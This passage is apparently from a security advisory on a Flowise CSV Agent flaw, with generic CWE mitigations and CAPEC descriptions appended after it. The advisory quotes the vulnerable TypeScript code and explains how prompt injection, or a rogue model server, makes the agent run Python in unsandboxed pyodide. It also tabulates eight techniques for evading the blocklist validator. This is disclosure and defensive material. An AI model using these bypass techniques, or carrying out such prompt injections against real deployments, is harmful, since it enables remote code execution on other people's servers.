obfuscation techniques including string concatenation to reconstruct forbidden identifiers, `chr()` encoding, aliasing of dangerous builtins, `__getattribute__` with concatenated attribute names, frame object inspection, MRO traversal, `df.query()` expression evaluation, and decorator syntax to invoke `exec` indirectly. Furthermore, pyodide is not sandboxed from the host operating system, so any Python code that passes the validator is executed with full access to OS interfaces.\n\nFrom `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`:\n```ts\nlet pythonCode = \u0027\u0027\nif (dataframeColDict) {\n const chain = new LLMChain({\n llm: model,\n prompt: PromptTemplate.fromTemplate(systemPrompt),\n verbose: process.env.DEBUG === \u0027true\u0027 ? true : false\n })\n const inputs = {\n dict: dataframeColDict,\n question: input // user-controlled input substituted into prompt\n }\n const res = await chain.call(inputs, [loggerHandler, ...callbacks])\n pythonCode = res?.text // LLM response assigned to pythonCode\n pythonCode = pythonCode.replace(/^```[a-z]+\\n|\\n```$/gm, \u0027\u0027)\n}\n\nlet finalResult = \u0027\u0027\nif (pythonCode) {\n const validation = validatePythonCodeForDataFrame(pythonCode) // blocklist validation applied\n if (!validation.valid) {\n throw new Error(\n `Generated code was rejected for security reasons (${\n validation.reason ?? \u0027unsafe construct\u0027\n }). Please rephrase your question to use only pandas DataFrame operations.`\n )\n }\n try {\n const code = `import pandas as pd\\nimport numpy as np\\n${pythonCode}`\n finalResult = await pyodide.runPythonAsync(code) // executed in unsandboxed pyodide\n } catch (error) {\n throw new Error(`Sorry, I\u0027m unable to find answer for question: \"${input}\" using following code: \"${pythonCode}\"`)\n }\n}\n```\n\nAn unauthenticated attacker with the ability to send prompts to a chatflow using the CSV Agent node may use prompt injection to cause the LLM to respond with a malicious Python script. An authenticated attacker may instead configure a chatflow that points to an attacker-controlled server, which responds to LLM requests with an attacker-controlled Python payload, bypassing the LLM entirely.\n\nEight bypass variants were demonstrated against the validator:\n\n| Variant | Technique | Bypasses |\n|---------|-----------|----------|\n| 0 | `@exec` decorator with string-concatenated `__import__` | `/\\bexec\\s*\\(/`, `/\\b__import__\\s*\\(/` |\n| 1 | `eval` aliased to a variable, payload chr()-encoded | `/\\beval\\s*\\(/`, `/\\bimport\\b/` |\n| 2 | `df.query()` with chr()-encoded `@__builtins__.__import__` | `/\\b__builtins__\\b/`, `/\\b__import__\\s*\\(/` |\n| 3 | MRO traversal + `__getattribute__` + `__subclasses__` -\u003e `BuiltinImporter.load_module` | `/\\b__class__\\b/`, `/\\b__subclasses__\\s*\\(/`, `/\\b__mro__\\b/` |\n| 4 | Generator frame inspection via `gi_frame.f_globals[\u0027__loader__\u0027]` | `/\\b__loader__\\b/`, `/\\b__globals__\\b/` |\n| 5 | Exception traceback frame walk to `f_builtins[\u0027__import__\u0027]` | `/\\b__globals__\\b/`, `/\\b__import__\\s*\\(/` |\n| 6 | `__build_class__.__self__.__getattribute__(\u0027__import__\u0027)` | `/\\b__import__\\s*\\(/` |\n| 7 | `vars` aliased to a variable, `__builtins__` accessed via dict key | `/\\bvars\\s*\\(/`, `/\\b__builtins__\\b/`, `/\\b__import__\\s*\\(/` |\n\n### Repro\n\nThe proof of concept (`poc.py`) has three modes of operation:\n\n**mode = \"server\"**: Starts a malicious server that responds to \"/api/chat\" requests with a JSON object containing an LLM response with the selected attack payload.\n\n**mode = \"chatflow\"**: Authenticates to the Flowise server, creates a chatflow with a CSV Agent node configured to use a ChatOllama model pointed at the malicious server, and triggers a prediction to execute the payload.\n\n**mode = \"prompt_injection\"**: Sends a prompt injection payload directly to an existing chatflow\u0027s prediction endpoint. Due to the nature of LLM responses, it may take multiple attempts or require a different injection technique depending on the model used.\n\n```\npython3 poc.py --mode [server OR chatflow OR prompt_injection] [--user \u003cUSER\u003e --passwd \u003cPASSWORD\u003e --host \u003cHOST\u003e --r_host \u003cR_HOST\u003e --r_port \u003cR_PORT\u003e --l_port \u003cL_PORT\u003e --port \u003cPORT\u003e --cmd \u003cCMD\u003e --attack \u003cATTACK\u003e --chatflow_id \u003cCHAT_ID\u003e]\n```\n\n\n-- CREDIT ---------------------------------------\nThis vulnerability was discovered by:\nDre Cura (@dre_cura) of TrendAI Research",
"id": "GHSA-5xvg-pmgg-3mxr",
"modified": "2026-08-04T19:29:26Z",
"published": "2026-08-04T19:29:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-5xvg-pmgg-3mxr"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/6499"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.